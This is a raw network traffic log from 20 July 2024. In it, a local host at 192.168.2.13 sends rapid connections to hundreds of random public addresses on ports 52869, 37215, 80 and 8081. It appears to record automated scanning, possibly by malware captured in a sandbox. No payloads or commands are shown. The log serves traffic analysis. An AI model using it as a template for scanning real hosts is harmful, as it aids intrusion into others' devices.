Jul 20, 2024 23:00:58.624686003 CEST	50566	52869	192.168.2.13	53.125.123.212
Jul 20, 2024 23:00:58.624686003 CEST	50566	52869	192.168.2.13	134.232.27.158
Jul 20, 2024 23:00:58.624686003 CEST	50566	52869	192.168.2.13	213.255.120.228
Jul 20, 2024 23:00:58.624686003 CEST	50566	52869	192.168.2.13	188.245.142.237
Jul 20, 2024 23:00:58.624686003 CEST	50566	52869	192.168.2.13	41.74.69.2
Jul 20, 2024 23:00:58.625102043 CEST	50566	52869	192.168.2.13	201.60.102.113
Jul 20, 2024 23:00:58.625102043 CEST	50566	52869	192.168.2.13	152.74.241.211
Jul 20, 2024 23:00:58.625102043 CEST	50566	52869	192.168.2.13	34.152.90.112
Jul 20, 2024 23:00:58.625102043 CEST	50566	52869	192.168.2.13	115.61.29.108
Jul 20, 2024 23:00:58.625102043 CEST	50566	52869	192.168.2.13	143.233.14.185
Jul 20, 2024 23:00:58.625432968 CEST	50566	52869	192.168.2.13	110.68.82.125
Jul 20, 2024 23:00:58.625432968 CEST	50566	52869	192.168.2.13	112.50.115.93
Jul 20, 2024 23:00:58.625433922 CEST	50566	52869	192.168.2.13	86.128.167.20
Jul 20, 2024 23:00:58.625433922 CEST	50566	52869	192.168.2.13	79.210.92.125
Jul 20, 2024 23:00:58.625433922 CEST	50566	52869	192.168.2.13	45.32.253.157
Jul 20, 2024 23:00:58.625433922 CEST	50566	52869	192.168.2.13	13.113.29.42
Jul 20, 2024 23:00:58.625433922 CEST	50566	52869	192.168.2.13	162.103.181.149
Jul 20, 2024 23:00:58.625433922 CEST	50566	52869	192.168.2.13	184.244.225.101
Jul 20, 2024 23:00:58.625660896 CEST	50566	52869	192.168.2.13	219.81.113.73
Jul 20, 2024 23:00:58.625660896 CEST	50566	52869	192.168.2.13	20.75.97.245
Jul 20, 2024 23:00:58.625660896 CEST	50566	52869	192.168.2.13	95.59.50.63
Jul 20, 2024 23:00:58.625660896 CEST	50566	52869	192.168.2.13	179.177.46.212
Jul 20, 2024 23:00:58.625660896 CEST	50566	52869	192.168.2.13	164.169.47.247
Jul 20, 2024 23:00:58.625660896 CEST	50566	52869	192.168.2.13	206.224.64.119
Jul 20, 2024 23:00:58.625660896 CEST	50566	52869	192.168.2.13	204.249.26.101
Jul 20, 2024 23:00:58.625660896 CEST	50566	52869	192.168.2.13	212.8.250.243
Jul 20, 2024 23:00:58.625699997 CEST	50566	52869	192.168.2.13	183.179.244.14
Jul 20, 2024 23:00:58.625699997 CEST	50566	52869	192.168.2.13	34.131.150.238
Jul 20, 2024 23:00:58.625699997 CEST	50566	52869	192.168.2.13	204.157.247.192
Jul 20, 2024 23:00:58.625699997 CEST	50566	52869	192.168.2.13	71.68.226.94
Jul 20, 2024 23:00:58.625699997 CEST	50566	52869	192.168.2.13	80.193.127.112
Jul 20, 2024 23:00:58.625699997 CEST	50566	52869	192.168.2.13	120.134.160.54
Jul 20, 2024 23:00:58.625699997 CEST	50566	52869	192.168.2.13	75.228.232.27
Jul 20, 2024 23:00:58.625699997 CEST	50566	52869	192.168.2.13	120.217.18.157
Jul 20, 2024 23:00:58.625754118 CEST	50566	52869	192.168.2.13	114.97.197.239
Jul 20, 2024 23:00:58.625754118 CEST	50566	52869	192.168.2.13	189.81.231.43
Jul 20, 2024 23:00:58.625754118 CEST	50566	52869	192.168.2.13	160.105.21.135
Jul 20, 2024 23:00:58.625754118 CEST	50566	52869	192.168.2.13	106.108.51.249
Jul 20, 2024 23:00:58.625754118 CEST	50566	52869	192.168.2.13	223.21.128.46
Jul 20, 2024 23:00:58.625754118 CEST	50566	52869	192.168.2.13	218.164.204.153
Jul 20, 2024 23:00:58.625754118 CEST	50566	52869	192.168.2.13	136.63.112.118
Jul 20, 2024 23:00:58.625754118 CEST	50566	52869	192.168.2.13	63.249.238.122
Jul 20, 2024 23:00:58.626215935 CEST	50566	52869	192.168.2.13	183.249.0.41
Jul 20, 2024 23:00:58.626215935 CEST	50566	52869	192.168.2.13	208.127.240.241
Jul 20, 2024 23:00:58.626215935 CEST	50566	52869	192.168.2.13	157.247.149.103
Jul 20, 2024 23:00:58.626215935 CEST	50566	52869	192.168.2.13	149.180.200.26
Jul 20, 2024 23:00:58.626215935 CEST	50566	52869	192.168.2.13	201.174.51.76
Jul 20, 2024 23:00:58.626215935 CEST	50566	52869	192.168.2.13	98.129.212.87
Jul 20, 2024 23:00:58.626216888 CEST	50566	52869	192.168.2.13	63.189.161.127
Jul 20, 2024 23:00:58.626216888 CEST	50566	52869	192.168.2.13	102.59.161.249
Jul 20, 2024 23:00:58.626363039 CEST	50566	52869	192.168.2.13	103.219.76.206
Jul 20, 2024 23:00:58.626363039 CEST	50566	52869	192.168.2.13	139.7.160.118
Jul 20, 2024 23:00:58.626363039 CEST	50566	52869	192.168.2.13	202.148.248.254
Jul 20, 2024 23:00:58.626363039 CEST	50566	52869	192.168.2.13	139.223.137.183
Jul 20, 2024 23:00:58.626363039 CEST	50566	52869	192.168.2.13	165.225.180.240
Jul 20, 2024 23:00:58.626363039 CEST	50566	52869	192.168.2.13	103.180.198.135
Jul 20, 2024 23:00:58.626363039 CEST	50566	52869	192.168.2.13	212.147.152.7
Jul 20, 2024 23:00:58.626363039 CEST	50566	52869	192.168.2.13	152.132.82.77
Jul 20, 2024 23:00:58.627193928 CEST	50566	52869	192.168.2.13	144.253.211.209
Jul 20, 2024 23:00:58.627193928 CEST	50566	52869	192.168.2.13	114.255.95.122
Jul 20, 2024 23:00:58.627193928 CEST	50566	52869	192.168.2.13	66.216.143.248
Jul 20, 2024 23:00:58.627193928 CEST	50566	52869	192.168.2.13	134.60.39.33
Jul 20, 2024 23:00:58.627193928 CEST	50566	52869	192.168.2.13	177.135.32.145
Jul 20, 2024 23:00:58.627194881 CEST	50566	52869	192.168.2.13	23.254.169.47
Jul 20, 2024 23:00:58.627194881 CEST	50566	52869	192.168.2.13	43.66.249.115
Jul 20, 2024 23:00:58.627194881 CEST	50566	52869	192.168.2.13	59.83.210.251
Jul 20, 2024 23:00:58.627276897 CEST	50566	52869	192.168.2.13	5.108.197.250
Jul 20, 2024 23:00:58.627276897 CEST	50566	52869	192.168.2.13	82.119.89.218
Jul 20, 2024 23:00:58.627276897 CEST	50566	52869	192.168.2.13	191.207.93.135
Jul 20, 2024 23:00:58.627276897 CEST	50566	52869	192.168.2.13	128.47.249.111
Jul 20, 2024 23:00:58.627276897 CEST	50566	52869	192.168.2.13	14.236.196.197
Jul 20, 2024 23:00:58.627276897 CEST	50566	52869	192.168.2.13	45.252.15.42
Jul 20, 2024 23:00:58.627276897 CEST	50566	52869	192.168.2.13	108.169.133.121
Jul 20, 2024 23:00:58.627276897 CEST	50566	52869	192.168.2.13	110.141.244.228
Jul 20, 2024 23:00:58.627316952 CEST	50566	52869	192.168.2.13	201.107.191.225
Jul 20, 2024 23:00:58.627316952 CEST	50566	52869	192.168.2.13	23.174.204.79
Jul 20, 2024 23:00:58.627316952 CEST	50566	52869	192.168.2.13	62.32.90.242
Jul 20, 2024 23:00:58.627316952 CEST	50566	52869	192.168.2.13	177.93.16.199
Jul 20, 2024 23:00:58.627316952 CEST	50566	52869	192.168.2.13	166.121.113.90
Jul 20, 2024 23:00:58.627316952 CEST	50566	52869	192.168.2.13	100.192.116.81
Jul 20, 2024 23:00:58.627316952 CEST	50566	52869	192.168.2.13	117.244.2.248
Jul 20, 2024 23:00:58.627316952 CEST	50566	52869	192.168.2.13	125.71.88.214
Jul 20, 2024 23:00:58.627336979 CEST	50566	52869	192.168.2.13	24.44.172.181
Jul 20, 2024 23:00:58.627336979 CEST	50566	52869	192.168.2.13	94.34.6.184
Jul 20, 2024 23:00:58.627336979 CEST	50566	52869	192.168.2.13	190.64.152.70
Jul 20, 2024 23:00:58.627336979 CEST	50566	52869	192.168.2.13	203.134.56.47
Jul 20, 2024 23:00:58.627336979 CEST	50566	52869	192.168.2.13	207.21.91.234
Jul 20, 2024 23:00:58.627336979 CEST	50566	52869	192.168.2.13	211.25.107.170
Jul 20, 2024 23:00:58.627336979 CEST	50566	52869	192.168.2.13	41.125.92.82
Jul 20, 2024 23:00:58.627336979 CEST	50566	52869	192.168.2.13	37.182.74.126
Jul 20, 2024 23:00:58.628113985 CEST	50566	52869	192.168.2.13	154.83.33.92
Jul 20, 2024 23:00:58.628113985 CEST	50566	52869	192.168.2.13	209.130.209.72
Jul 20, 2024 23:00:58.628113985 CEST	50566	52869	192.168.2.13	132.85.230.25
Jul 20, 2024 23:00:58.628113985 CEST	50566	52869	192.168.2.13	167.229.109.178
Jul 20, 2024 23:00:58.628113985 CEST	50566	52869	192.168.2.13	213.211.196.140
Jul 20, 2024 23:00:58.628113985 CEST	50566	52869	192.168.2.13	72.92.189.251
Jul 20, 2024 23:00:58.628113985 CEST	50566	52869	192.168.2.13	101.55.180.113
Jul 20, 2024 23:00:58.628113985 CEST	50566	52869	192.168.2.13	129.0.180.86
Jul 20, 2024 23:00:58.628401041 CEST	50566	52869	192.168.2.13	86.111.238.235
Jul 20, 2024 23:00:58.628401041 CEST	50566	52869	192.168.2.13	71.215.221.121
Jul 20, 2024 23:00:58.628401041 CEST	50566	52869	192.168.2.13	144.201.146.150
Jul 20, 2024 23:00:58.628401041 CEST	50566	52869	192.168.2.13	122.113.89.19
Jul 20, 2024 23:00:58.628401041 CEST	50566	52869	192.168.2.13	117.19.166.205
Jul 20, 2024 23:00:58.628401041 CEST	50566	52869	192.168.2.13	131.78.113.225
Jul 20, 2024 23:00:58.628401041 CEST	50566	52869	192.168.2.13	207.74.201.142
Jul 20, 2024 23:00:58.628401041 CEST	50566	52869	192.168.2.13	143.82.123.204
Jul 20, 2024 23:00:58.628494024 CEST	50566	52869	192.168.2.13	13.27.88.27
Jul 20, 2024 23:00:58.628494024 CEST	50566	52869	192.168.2.13	62.181.226.145
Jul 20, 2024 23:00:58.628494024 CEST	50566	52869	192.168.2.13	198.66.228.91
Jul 20, 2024 23:00:58.628494024 CEST	50566	52869	192.168.2.13	48.33.137.207
Jul 20, 2024 23:00:58.628494024 CEST	50566	52869	192.168.2.13	213.215.18.242
Jul 20, 2024 23:00:58.628494024 CEST	50566	52869	192.168.2.13	174.197.212.167
Jul 20, 2024 23:00:58.628494024 CEST	50566	52869	192.168.2.13	205.213.127.39
Jul 20, 2024 23:00:58.628494024 CEST	50566	52869	192.168.2.13	120.47.1.7
Jul 20, 2024 23:00:58.628515005 CEST	50566	52869	192.168.2.13	186.94.202.38
Jul 20, 2024 23:00:58.628515005 CEST	50566	52869	192.168.2.13	37.237.111.60
Jul 20, 2024 23:00:58.628515005 CEST	50566	52869	192.168.2.13	210.137.118.139
Jul 20, 2024 23:00:58.628515005 CEST	50566	52869	192.168.2.13	49.234.48.151
Jul 20, 2024 23:00:58.628515959 CEST	50566	52869	192.168.2.13	137.200.199.59
Jul 20, 2024 23:00:58.628626108 CEST	50566	52869	192.168.2.13	38.81.248.236
Jul 20, 2024 23:00:58.628626108 CEST	50566	52869	192.168.2.13	141.214.124.225
Jul 20, 2024 23:00:58.628626108 CEST	50566	52869	192.168.2.13	101.247.55.101
Jul 20, 2024 23:00:58.628626108 CEST	50566	52869	192.168.2.13	183.62.58.210
Jul 20, 2024 23:00:58.628626108 CEST	50566	52869	192.168.2.13	155.77.23.156
Jul 20, 2024 23:00:58.628626108 CEST	50566	52869	192.168.2.13	135.93.173.184
Jul 20, 2024 23:00:58.628626108 CEST	50566	52869	192.168.2.13	216.211.211.212
Jul 20, 2024 23:00:58.628626108 CEST	50566	52869	192.168.2.13	171.2.185.45
Jul 20, 2024 23:00:58.628925085 CEST	50566	52869	192.168.2.13	167.128.57.68
Jul 20, 2024 23:00:58.628925085 CEST	50566	52869	192.168.2.13	97.201.16.35
Jul 20, 2024 23:00:58.628925085 CEST	50566	52869	192.168.2.13	145.194.199.43
Jul 20, 2024 23:00:58.628925085 CEST	50566	52869	192.168.2.13	168.231.78.124
Jul 20, 2024 23:00:58.628925085 CEST	50566	52869	192.168.2.13	217.184.81.63
Jul 20, 2024 23:00:58.628925085 CEST	50566	52869	192.168.2.13	218.192.183.132
Jul 20, 2024 23:00:58.628925085 CEST	50566	52869	192.168.2.13	216.73.170.96
Jul 20, 2024 23:00:58.628925085 CEST	50566	52869	192.168.2.13	125.189.124.201
Jul 20, 2024 23:00:58.629040956 CEST	50566	52869	192.168.2.13	206.207.28.179
Jul 20, 2024 23:00:58.629040956 CEST	50566	52869	192.168.2.13	73.254.249.119
Jul 20, 2024 23:00:58.629040956 CEST	50566	52869	192.168.2.13	73.87.185.54
Jul 20, 2024 23:00:58.629040956 CEST	50566	52869	192.168.2.13	83.177.165.22
Jul 20, 2024 23:00:58.629040956 CEST	50566	52869	192.168.2.13	106.206.7.111
Jul 20, 2024 23:00:58.629040956 CEST	50566	52869	192.168.2.13	59.161.148.57
Jul 20, 2024 23:00:58.629040956 CEST	50566	52869	192.168.2.13	27.244.48.53
Jul 20, 2024 23:00:58.629040956 CEST	50566	52869	192.168.2.13	200.135.47.253
Jul 20, 2024 23:00:58.629188061 CEST	50566	52869	192.168.2.13	73.115.254.3
Jul 20, 2024 23:00:58.629188061 CEST	50566	52869	192.168.2.13	220.221.201.89
Jul 20, 2024 23:00:58.629188061 CEST	50566	52869	192.168.2.13	20.244.127.176
Jul 20, 2024 23:00:58.629188061 CEST	50566	52869	192.168.2.13	198.98.155.180
Jul 20, 2024 23:00:58.629188061 CEST	50566	52869	192.168.2.13	111.176.215.63
Jul 20, 2024 23:00:58.629189014 CEST	50566	52869	192.168.2.13	72.244.27.54
Jul 20, 2024 23:00:58.629189014 CEST	50566	52869	192.168.2.13	60.124.222.16
Jul 20, 2024 23:00:58.629189014 CEST	50566	52869	192.168.2.13	204.92.164.155
Jul 20, 2024 23:00:58.629272938 CEST	50566	52869	192.168.2.13	90.85.240.95
Jul 20, 2024 23:00:58.629272938 CEST	50566	52869	192.168.2.13	174.179.206.254
Jul 20, 2024 23:00:58.629272938 CEST	50566	52869	192.168.2.13	65.97.64.116
Jul 20, 2024 23:00:58.629272938 CEST	50566	52869	192.168.2.13	89.35.59.2
Jul 20, 2024 23:00:58.629272938 CEST	50566	52869	192.168.2.13	200.113.164.137
Jul 20, 2024 23:00:58.629272938 CEST	50566	52869	192.168.2.13	73.232.22.228
Jul 20, 2024 23:00:58.629273891 CEST	50566	52869	192.168.2.13	165.162.16.34
Jul 20, 2024 23:00:58.629273891 CEST	50566	52869	192.168.2.13	59.108.73.52
Jul 20, 2024 23:00:58.629555941 CEST	50566	52869	192.168.2.13	152.181.36.213
Jul 20, 2024 23:00:58.629555941 CEST	50566	52869	192.168.2.13	175.129.168.116
Jul 20, 2024 23:00:58.629555941 CEST	50566	52869	192.168.2.13	143.140.134.30
Jul 20, 2024 23:00:58.629555941 CEST	50566	52869	192.168.2.13	96.49.197.209
Jul 20, 2024 23:00:58.629555941 CEST	50566	52869	192.168.2.13	176.213.163.49
Jul 20, 2024 23:00:58.629555941 CEST	50566	52869	192.168.2.13	133.168.106.65
Jul 20, 2024 23:00:58.629555941 CEST	50566	52869	192.168.2.13	217.234.0.85
Jul 20, 2024 23:00:58.629556894 CEST	50566	52869	192.168.2.13	46.46.188.13
Jul 20, 2024 23:00:58.629565954 CEST	50566	52869	192.168.2.13	125.196.26.43
Jul 20, 2024 23:00:58.629565954 CEST	50566	52869	192.168.2.13	121.207.202.170
Jul 20, 2024 23:00:58.629565954 CEST	50566	52869	192.168.2.13	121.111.152.9
Jul 20, 2024 23:00:58.629565954 CEST	50566	52869	192.168.2.13	207.13.220.109
Jul 20, 2024 23:00:58.629566908 CEST	50566	52869	192.168.2.13	8.200.63.173
Jul 20, 2024 23:00:58.629566908 CEST	50566	52869	192.168.2.13	179.36.56.224
Jul 20, 2024 23:00:58.629566908 CEST	50566	52869	192.168.2.13	109.250.62.6
Jul 20, 2024 23:00:58.629566908 CEST	50566	52869	192.168.2.13	109.167.143.187
Jul 20, 2024 23:00:58.629666090 CEST	50566	52869	192.168.2.13	20.215.179.224
Jul 20, 2024 23:00:58.629667044 CEST	50566	52869	192.168.2.13	165.11.32.216
Jul 20, 2024 23:00:58.629678965 CEST	50566	52869	192.168.2.13	109.0.171.194
Jul 20, 2024 23:00:58.629679918 CEST	50566	52869	192.168.2.13	54.102.50.66
Jul 20, 2024 23:00:58.629679918 CEST	50566	52869	192.168.2.13	168.140.167.202
Jul 20, 2024 23:00:58.629679918 CEST	50566	52869	192.168.2.13	138.6.152.149
Jul 20, 2024 23:00:58.629679918 CEST	50566	52869	192.168.2.13	39.167.238.36
Jul 20, 2024 23:00:58.629679918 CEST	50566	52869	192.168.2.13	42.202.144.28
Jul 20, 2024 23:00:58.629679918 CEST	50566	52869	192.168.2.13	181.149.236.21
Jul 20, 2024 23:00:58.629679918 CEST	50566	52869	192.168.2.13	112.2.146.187
Jul 20, 2024 23:00:58.629838943 CEST	50566	52869	192.168.2.13	183.92.206.35
Jul 20, 2024 23:00:58.629838943 CEST	50566	52869	192.168.2.13	46.221.153.66
Jul 20, 2024 23:00:58.629838943 CEST	50566	52869	192.168.2.13	133.147.18.2
Jul 20, 2024 23:00:58.629838943 CEST	50566	52869	192.168.2.13	71.109.115.250
Jul 20, 2024 23:00:58.629838943 CEST	50566	52869	192.168.2.13	98.72.239.72
Jul 20, 2024 23:00:58.629838943 CEST	50566	52869	192.168.2.13	130.253.137.232
Jul 20, 2024 23:00:58.629838943 CEST	50566	52869	192.168.2.13	4.211.141.239
Jul 20, 2024 23:00:58.629838943 CEST	50566	52869	192.168.2.13	42.140.164.109
Jul 20, 2024 23:00:58.629954100 CEST	50566	52869	192.168.2.13	50.168.165.47
Jul 20, 2024 23:00:58.629955053 CEST	50566	52869	192.168.2.13	218.171.42.41
Jul 20, 2024 23:00:58.629955053 CEST	50566	52869	192.168.2.13	4.46.213.183
Jul 20, 2024 23:00:58.629955053 CEST	50566	52869	192.168.2.13	113.169.142.241
Jul 20, 2024 23:00:58.629955053 CEST	50566	52869	192.168.2.13	152.197.23.46
Jul 20, 2024 23:00:58.629955053 CEST	50566	52869	192.168.2.13	67.229.96.242
Jul 20, 2024 23:00:58.629955053 CEST	50566	52869	192.168.2.13	163.101.73.50
Jul 20, 2024 23:00:58.629955053 CEST	50566	52869	192.168.2.13	132.92.234.191
Jul 20, 2024 23:00:58.629987001 CEST	50566	52869	192.168.2.13	58.246.15.43
Jul 20, 2024 23:00:58.629987001 CEST	50566	52869	192.168.2.13	70.176.12.166
Jul 20, 2024 23:00:58.629987001 CEST	50566	52869	192.168.2.13	189.96.120.64
Jul 20, 2024 23:00:58.629987001 CEST	50566	52869	192.168.2.13	177.141.69.236
Jul 20, 2024 23:00:58.629987955 CEST	50566	52869	192.168.2.13	177.80.161.196
Jul 20, 2024 23:00:58.630009890 CEST	50566	52869	192.168.2.13	166.138.104.159
Jul 20, 2024 23:00:58.630009890 CEST	50566	52869	192.168.2.13	98.206.22.13
Jul 20, 2024 23:00:58.630009890 CEST	50566	52869	192.168.2.13	72.223.231.71
Jul 20, 2024 23:00:58.630009890 CEST	50566	52869	192.168.2.13	144.20.248.235
Jul 20, 2024 23:00:58.630009890 CEST	50566	52869	192.168.2.13	39.22.225.232
Jul 20, 2024 23:00:58.630009890 CEST	50566	52869	192.168.2.13	168.52.245.30
Jul 20, 2024 23:00:58.630009890 CEST	50566	52869	192.168.2.13	174.91.217.145
Jul 20, 2024 23:00:58.630068064 CEST	50566	52869	192.168.2.13	120.196.66.36
Jul 20, 2024 23:00:58.630094051 CEST	50566	52869	192.168.2.13	113.200.86.131
Jul 20, 2024 23:00:58.630094051 CEST	50566	52869	192.168.2.13	170.207.49.134
Jul 20, 2024 23:00:58.630094051 CEST	50566	52869	192.168.2.13	4.213.144.169
Jul 20, 2024 23:00:58.630094051 CEST	50566	52869	192.168.2.13	136.154.37.4
Jul 20, 2024 23:00:58.630094051 CEST	50566	52869	192.168.2.13	165.66.177.218
Jul 20, 2024 23:00:58.630094051 CEST	50566	52869	192.168.2.13	204.239.207.136
Jul 20, 2024 23:00:58.630094051 CEST	50566	52869	192.168.2.13	31.184.52.211
Jul 20, 2024 23:00:58.630125046 CEST	50566	52869	192.168.2.13	4.174.148.139
Jul 20, 2024 23:00:58.630654097 CEST	36272	37215	192.168.2.13	182.85.50.153
Jul 20, 2024 23:00:58.635865927 CEST	37215	36272	182.85.50.153	192.168.2.13
Jul 20, 2024 23:00:58.635929108 CEST	36272	37215	192.168.2.13	182.85.50.153
Jul 20, 2024 23:00:58.642452955 CEST	50568	80	192.168.2.13	88.91.21.190
Jul 20, 2024 23:00:58.642617941 CEST	50568	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:58.642632008 CEST	50568	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:58.642632961 CEST	50568	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:58.642684937 CEST	50568	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:58.642703056 CEST	50568	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:58.642709017 CEST	50568	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:58.642781973 CEST	50568	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:58.642781973 CEST	50568	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:58.642787933 CEST	50568	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:58.642821074 CEST	50568	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:58.642874002 CEST	50568	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:58.642920971 CEST	50568	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:58.642972946 CEST	50568	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:58.643002987 CEST	50568	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:58.643018961 CEST	50568	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:58.643064022 CEST	50568	80	192.168.2.13	88.79.104.187
Jul 20, 2024 23:00:58.643088102 CEST	50568	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:58.643107891 CEST	50568	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:58.643191099 CEST	50568	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:58.643202066 CEST	50568	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:58.643220901 CEST	50568	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:58.643220901 CEST	50568	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:58.643251896 CEST	50568	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:58.643323898 CEST	50568	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:58.643331051 CEST	50568	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:58.643356085 CEST	50568	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:58.643378019 CEST	50568	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:58.643378019 CEST	50568	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:58.643462896 CEST	50568	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:58.643510103 CEST	50568	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:58.643516064 CEST	50568	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:58.643532991 CEST	50568	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:58.643575907 CEST	50568	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:58.643575907 CEST	50568	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:58.643626928 CEST	50568	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:58.643668890 CEST	50568	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:58.643682003 CEST	50568	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:58.643728971 CEST	50568	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:58.643734932 CEST	50568	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:58.643748045 CEST	50568	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:58.643800974 CEST	50568	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:58.643851995 CEST	50568	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:58.643857956 CEST	50568	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:58.643920898 CEST	50568	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:58.643965960 CEST	50568	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:58.643975019 CEST	50568	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:58.644038916 CEST	50568	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:58.644072056 CEST	50568	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:58.644124985 CEST	50568	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:58.644131899 CEST	50568	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:58.644171953 CEST	50568	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:58.644174099 CEST	50568	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:58.644207001 CEST	50568	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:58.644248009 CEST	50568	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:58.644309044 CEST	50568	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:58.644315958 CEST	50568	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:58.644340038 CEST	50568	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:58.644402981 CEST	50568	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:58.644402981 CEST	50568	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:58.645164013 CEST	50568	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:58.645253897 CEST	50568	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:58.645258904 CEST	50568	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:58.645270109 CEST	50568	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:58.645260096 CEST	50568	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:58.645334005 CEST	50568	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:58.645337105 CEST	50568	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:58.645401955 CEST	50568	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:58.645445108 CEST	50568	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:58.645472050 CEST	50568	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:58.645477057 CEST	50568	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:58.645483017 CEST	50568	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:58.645581961 CEST	50568	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:58.645631075 CEST	50568	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:58.645653963 CEST	50568	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:58.645698071 CEST	50568	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:58.645706892 CEST	50568	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:58.645709991 CEST	50568	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:58.645747900 CEST	50568	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:58.645806074 CEST	50568	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:58.645814896 CEST	50568	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:58.645833969 CEST	50568	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:58.645833969 CEST	50568	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:58.645916939 CEST	50568	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:58.645925045 CEST	50568	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:58.645955086 CEST	50568	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:58.645962954 CEST	33704	37215	192.168.2.13	197.92.237.222
Jul 20, 2024 23:00:58.646022081 CEST	50568	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:58.646059036 CEST	50568	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:58.646104097 CEST	50568	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:58.646106005 CEST	50568	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:58.646136999 CEST	50568	80	192.168.2.13	88.229.215.174
Jul 20, 2024 23:00:58.646190882 CEST	50568	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:58.647404909 CEST	80	50568	88.91.21.190	192.168.2.13
Jul 20, 2024 23:00:58.647406101 CEST	50565	8081	192.168.2.13	168.104.48.153
Jul 20, 2024 23:00:58.647459030 CEST	50565	8081	192.168.2.13	179.214.55.135
Jul 20, 2024 23:00:58.647511959 CEST	50565	8081	192.168.2.13	118.88.197.138
Jul 20, 2024 23:00:58.647526026 CEST	50565	8081	192.168.2.13	47.100.149.89
Jul 20, 2024 23:00:58.647527933 CEST	50565	8081	192.168.2.13	81.48.29.132
Jul 20, 2024 23:00:58.647528887 CEST	50565	8081	192.168.2.13	109.42.180.137
Jul 20, 2024 23:00:58.647528887 CEST	50565	8081	192.168.2.13	108.34.97.187
Jul 20, 2024 23:00:58.647546053 CEST	50565	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:00:58.647548914 CEST	50568	80	192.168.2.13	88.91.21.190
